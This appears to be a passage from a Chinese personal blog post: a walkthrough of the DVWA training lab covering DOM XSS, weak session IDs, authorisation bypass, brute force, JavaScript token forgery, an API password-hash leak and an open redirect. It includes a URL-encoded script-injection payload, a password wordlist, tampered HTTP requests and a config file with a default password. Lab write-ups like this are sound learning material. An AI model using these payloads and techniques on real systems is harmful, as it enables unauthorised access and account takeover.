gc2VjdXJpdHkgbGV2ZWwgd2l0aCBlYWNoIHNlc3Npb24uCiMgICBUaGUgZGVmYXVsdCBpcyAnaW1wb3NzaWJsZScuIFlvdSBtYXkgd2lzaCB0byBzZXQgdGhpcyB0byBlaXRoZXIgJ2xvdycsICdtZWRpdW0nLCAnaGlnaCcgb3IgaW1wb3NzaWJsZScuCiRfRFZXQVsgJ2RlZmF1bHRfc2VjdXJpdHlfbGV2ZWwnIF0gPSBnZXRlbnYoJ0RFRkFVTFRfU0VDVVJJVFlfTEVWRUwnKSA/OiAnaW1wb3NzaWJsZSc7CgojIERlZmF1bHQgbG9jYWxlCiMgICBEZWZhdWx0IGxvY2FsZSBmb3IgdGhlIGhlbHAgcGFnZSBzaG93biB3aXRoIGVhY2ggc2Vzc2lvbi4KIyAgIFRoZSBkZWZhdWx0IGlzICdlbicuIFlvdSBtYXkgd2lzaCB0byBzZXQgdGhpcyB0byBlaXRoZXIgJ2VuJyBvciAnemgnLgokX0RWV0FbICdkZWZhdWx0X2xvY2FsZScgXSA9IGdldGVudignREVGQVVMVF9MT0NBTEUnKSA/OiAnZW4nOwoKIyBEaXNhYmxlIGF1dGhlbnRpY2F0aW9uCiMgICBTb21lIHRvb2xzIGRvbid0IGxpa2Ugd29ya2luZyB3aXRoIGF1dGhlbnRpY2F0aW9uIGFuZCBwYXNzaW5nIGNvb2tpZXMgYXJvdW5kCiMgICBzbyB0aGlzIHNldHRpbmcgbGV0cyB5b3UgdHVybiBvZmYgYXV0aGVudGljYXRpb24uCiRfRFZXQVsgJ2Rpc2FibGVfYXV0aGVudGljYXRpb24nIF0gPSBnZXRlbnYoJ0RJU0FCTEVfQVVUSEVOVElDQVRJT04nKSA/OiBmYWxzZTsKCmRlZmluZSAoJ01ZU1FMJywgJ215c3FsJyk7CmRlZmluZSAoJ1NRTElURScsICdzcWxpdGUnKTsKCiMgU1FMaSBEQiBCYWNrZW5kCiMgICBVc2UgdGhpcyB0byBzd2l0Y2ggdGhlIGJhY2tlbmQgZGF0YWJhc2UgdXNlZCBpbiB0aGUgU1FMaSBhbmQgQmxpbmQgU1FMaSBsYWJzLgojICAgVGhpcyBkb2VzIG5vdCBhZmZlY3QgdGhlIGJhY2tlbmQgZm9yIGFueSBvdGhlciBzZXJ2aWNlcywganVzdCB0aGVzZSB0d28gbGFicy4KIyAgIElmIHlvdSBkbyBub3QgdW5kZXJzdGFuZCB3aGF0IHRoaXMgbWVhbnMsIGRvIG5vdCBjaGFuZ2UgaXQuCiRfRFZXQVsnU1FMSV9EQiddID0gZ2V0ZW52KCdTUUxJX0RCJykgPzogTVlTUUw7CiMkX0RWV0FbJ1NRTElfREInXSA9IFNRTElURTsKIyRfRFZXQVsnU1FMSVRFX0RCJ10gPSAnc3FsaS5kYic7Cgo/Pg==

解码可以得到

<?php
# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
# Thanks to @digininja for the fix.
# Database management system to use
$DBMS = getenv('DBMS') ?: 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';
$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';
$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';
$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';
$_DVWA[ 'db_port'] = getenv('DB_PORT') ?: '3306';
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at: https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = getenv('RECAPTCHA_PUBLIC_KEY') ?: '';
$_DVWA[ 'recaptcha_private_key' ] = getenv('RECAPTCHA_PRIVATE_KEY') ?: '';
# Default security level
# Default value for the security level with each session.
# The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = getenv('DEFAULT_SECURITY_LEVEL') ?: 'impossible';
# Default locale
# Default locale for the help page shown with each session.
# The default is 'en'. You may wish to set this to either 'en' or 'zh'.
$_DVWA[ 'default_locale' ] = getenv('DEFAULT_LOCALE') ?: 'en';
# Disable authentication
# Some tools don't like working with authentication and passing cookies around
# so this setting lets you turn off authentication.
$_DVWA[ 'disable_authentication' ] = getenv('DISABLE_AUTHENTICATION') ?: false;
define ('MYSQL', 'mysql');
define ('SQLITE', 'sqlite');
# SQLi DB Backend
# Use this to switch the backend database used in the SQLi and Blind SQLi labs.
# This does not affect the backend for any other services, just these two labs.
# If you do not understand what this means, do not change it.
$_DVWA['SQLI_DB'] = getenv('SQLI_DB') ?: MYSQL;
#$_DVWA['SQLI_DB'] = SQLITE;
#$_DVWA['SQLITE_DB'] = 'sqli.db';
?>

完结下一题。


八、XSS (DOM)#

服务器完全没参与。前端 JS 自己从 URL 里读内容,写进页面。

扒一下靶场的源码看看

var lang = document.location.href.substring(
document.location.href.indexOf('default=') + 8
);
document.write(decodeURI(lang));
  • 从 location.href 里取字符串——URL 是用户可控的
  • decodeURI 解码——你把 payload 编码了,它帮你还原
  • document.write 写进页面——浏览器把它当 HTML 解析

先抓个包#

选择一个语言,可以看到

GET /vulnerabilities/xss_d/?default=English HTTP/1.1

那么可以知道下一步是要把default换成payload

换payload#

GET /vulnerabilities/xss_d/?%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1

页面有弹窗,注入完成。


Tips — 如何判断XSS (DOM)

看前端源码——找 location.hash、location.href、document.write、innerHTML 这些危险写法。

比如https://site.com/page#<img src=x onerror=alert(1)>

防御代码

// 危险
document.write(userInput);
element.innerHTML = userInput;
// 安全
element.textContent = userInput;

textContent 只写文本,不解析标签。innerHTML 会把字符串当 HTML 解析——这就是 DOM XSS 的入口。


直接下一题。


九、Weak Session IDs(弱会话 ID)#

这个和 Cookie 直接相关——它问的是:服务端发的那个会话编号,够不够随机?

会话 ID 的安全要求三条:

  • 足够长:短了能穷举
  • 随机:不能有规律
  • 不可预测:看到前几个,推不出下一个

靶场三条全不满足——它用的是递增整数。

连抓五次包可以发现#

第 1 次:dvwaSession=1
第 2 次:dvwaSession=2
第 3 次:dvwaSession=3

可以知道dvwaSession是递增的,而知道了dvwaSession就可以劫持会话,我最近挖的一个漏洞就是accesstoken漏了而形成一整条攻击链。


十、Authorisation Bypass(越权访问)#

两种越权

  • 水平越权:同级用户之间。你是普通用户 A,去操作普通用户 B 的数据
  • 垂直越权:低权限干高权限的事。普通用户去调管理员的接口

先抓个包#

GET /vulnerabilities/authbypass/ HTTP/1.1

随便点击一个upload

POST /vulnerabilities/authbypass/change_user_details.php HTTP/1.1
{"id":5,"first_name":"Bob","surname":"Smith"}

改一下id#

把id改成3再send,返回{"result":"ok"}

再看看页面,发现3的数据跟5一样了,成功。


十一、Brute Force(暴力破解)#

这里用到Intruder 和 Repeater

  • Repeater:一个请求,你改一次,发一次。​手动迭代
  • Intruder:一个请求,某个位置自动替换成字典里的值,发 N 次。​自动迭代 它们用的是同一个”抓下来的请求”,区别只在”谁在改”。

先随便填个密码抓包#

GET /vulnerabilities/brute/?username=admin&password=12222&Login=Login HTTP/1.1

接着直接送进Intruder

切换到Intruder#

对password后面加标签,接着配一个简单的字典

password
123456
admin
letmein
qwerty
abc123
charley

直接爆破#

之后看数据

password len=4547
123456 len=4509
admin len=4509
letmein len=4509
qwerty len=4509
abc123 len=4509
charley len=4509

发现password的页面长度是不一样的,那么password就是正确答案。


十二、JavaScript Attacks(JavaScript 攻击)#

直接看代码:

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g, function(c){
return String.fromCharCode((c<="Z"?90:122) >= (c=c.charCodeAt(0)+13) ? c : c-26);
});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();

逻辑是:把 phrase 做 rot13,再取 md5,然后填入隐藏域。服务端要的正好也是 md5(rot13("success"))。看起来只要输入 success 就能通过,但 generate_token() 只在页面加载时执行了一次,那会儿 phrase 还是默认值 ChangeMe。

实测这两个值差别如下:

  • 正常提交会发出去:md5(rot13(“ChangeMe”)) = 8b479aefbd90795395b3e7089ae0dc09
  • 服务端要的:md5(rot13(“success”)) = 38581812b435834ebf84ebcc2c6424d6

怎么来的,看php代码

s(115) +13 = 128 -> 超出 z(122),减 26 = 102 -> f
u(117) +13 = 130 -> 超出 z(122),减 26 = 104 -> h
c( 99) +13 = 112 -> 没超,直接用 -> p
c( 99) +13 = 112 -> 没超,直接用 -> p
e(101) +13 = 114 -> 没超,直接用 -> r
s(115) +13 = 128 -> 超出,减 26 = 102 -> f
s(115) +13 = 128 -> 超出,减 26 = 102 -> f

接着转md5就可以得到38581812b435834ebf84ebcc2c6424d6

抓包#

POST /vulnerabilities/javascript/ HTTP/1.1
token=8b479aefbd90795395b3e7089ae0dc09&phrase=success&send=Submit

这里可以看到token的值不对,改变他的值就可以了。


十三、API Security#

打开 API Security 页面,页面上的表格由 JavaScript 动态获取数据并绘制:

function get_users() {
const url = '/vulnerabilities/api/v2/user/';
fetch(url, { method: 'GET' })
.then(response => response.json())
.then(data => { loadTableData(data); });
}

表格是 fetch 之后才填充的,“查看页面源码”里看不到数据,要看 Burp 的 HTTP history

转到 vulnerabilities/api/src/User.php,关键在 toArray():

public function toArray($version) {
switch ($version) {
case 1:
$a = array (
"id" => $this->id,
"name" => $this->name,
"level" => $this->level,
"password" => $this->password, // ← v1 带密码
);
break;
default:
case 2:
$a = array (
"id" => $this->id,
"name" => $this->name,
"level" => $this->level, // ← v2 去掉了
);
break;
}
return $a;
}

$version 是从 URL 里解析出来的,路由在 public/index.php:

if (preg_match("/v([0-9]*)/", $version, $matches)) {
$version = intval($matches[1]); // "v2" → 2, "v1" → 1
}

也就是说,返回哪些字段完全由请求 URL 决定。​ v2 修掉了密码泄露,v1 是修复前的旧版本,但代码还留在线上没删。

抓包#

GET /vulnerabilities/api HTTP/1.1

改get

GET /vulnerabilities/api/v2/user HTTP/1.1

返回

[{"id":1,"name":"tony","level":0},{"id":2,"name":"morph","level":1},{"id":3,"name":"chas","level":1}]

再尝试

GET /vulnerabilities/api/v1/user/ HTTP/1.1

返回

[{"id":1,"name":"tony","level":0,"password":"1c8bfe8f801d79745c4631d09fff36c82aa37fc4cce4fc946683d7b336b63032"},{"id":2,"name":"morph","level":1,"password":"e5326ba4359f77c2623244acb04f6ac35c4dfca330ebcccdf9b734e5b1df90a8"},{"id":3,"name":"chas","level":1,"password":"a89237fc1f9dd8d424d8b8b98b890dbc4a817bfde59af17c39debcc4a14c21de"}]

完成。


十四、Open HTTP Redirect#

页面只有两个链接:

http://127.0.0.1:8888/vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=1
http://127.0.0.1:8888/vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=2

点进去会跳到 “Hacker History” 的名言页面。跳转发生在 source/low.php 里,全部代码只有四行有效逻辑:

if (array_key_exists("redirect", $_GET) && $_GET['redirect'] != "") {
header("location: " . $_GET['redirect']); // ← 原封不动拼进 Location
exit;
}
http_response_code(500);
?>
<p>Missing redirect target.</p>

$_GET['redirect'] 没有做任何校验,直接写进了 Location 响应头。​

浏览器收到 302 状态码 + Location 头,就会自动发起第二次请求去那个地址,用户在地址栏里看到的是”页面闪了一下就过去了”。

所以”开放重定向”的意思是:服务器把”跳去哪”的决定权交给了用户。​

抓他#

抓到

GET /vulnerabilities/open_redirect/source/low.php?redirect=info.php?id=1 HTTP/1.1

那么可以把 redirect 的值改成 https://example.com

可以看到返回

HTTP/1.1 302 Found
Date: Tue, 20 Oct 2026 17:03:32 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.5.11
location: https://example.com?id=1
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

那如果example换成其他地址九可以访问了。可以用于钓鱼链接伪装,也算是个漏洞。


那就到这里啦。下一篇要装插件然后去挑战更高级的啦。#

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录